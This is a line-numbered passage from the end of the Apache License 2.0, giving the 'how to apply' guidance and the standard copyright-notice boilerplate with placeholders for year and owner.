| the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | --------------------------------------------------------------------------------